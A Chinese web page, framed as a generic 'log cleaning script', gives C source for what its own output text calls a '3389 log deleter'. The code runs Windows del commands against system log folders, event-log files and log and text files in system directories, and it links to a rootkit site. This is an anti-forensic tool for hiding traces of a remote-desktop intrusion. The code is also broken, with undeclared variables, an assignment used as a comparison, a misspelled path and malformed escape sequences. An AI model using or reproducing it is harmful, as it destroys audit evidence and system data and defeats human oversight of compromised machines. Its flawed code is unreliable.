1. 首页 >百科知识 > 正文

日志清理脚本(C 实现日志清理代码)

大家好,今天小悦来为大家解答以上问题。日志清理脚本,C 实现日志清理代码很多人还不知道,现在让我们一起来看看吧!

char a1[40]="del C:/windows/system32/logfiles/*.*";
char b1[40]="del C:/windows/ssytem32/config/*.evt";
char c1[36]="del C:/windows/system32/dtclog/*.* ";
char d1[36]="del C:/windows/system32/*.log";
char e1[36]="del C:/windows/system32/*.txt";
char f1[36]="del C:/windows/*.txt ";
char g1[36]="del C:/windows/*.log";

int i;

printf("/t/t/t3389日志删除器/n/t/t/t/t/twrite by willson QQ:360928283/n/n");
printf("/t/t我的空间是:http://hi.baidu.com/willweiwei/n");
printf("/t/t/thttp://www.rootkit.org.cn/n/n/n");
printf("请输入您的操作系统名。如果是windows2000,请输入1!/n如果是windows2003或xp,请输入其他任意键/n请输入操作系统:");
scanf("%d",&i);
if(i=1)
{
system(a);system(b);system(c);system(d);system(e);system(f);system(g);
}
else
{
system(a1);system(b1);system(c1);system(d1);system(e1);system(f1);system(g1);
}
}

本文到此结束,希望对大家有所帮助。

标签:

免责声明:本文由用户上传,与本网站立场无关。财经信息仅供读者参考,并不构成投资建议。投资者据此操作,风险自担。 如有侵权请联系删除!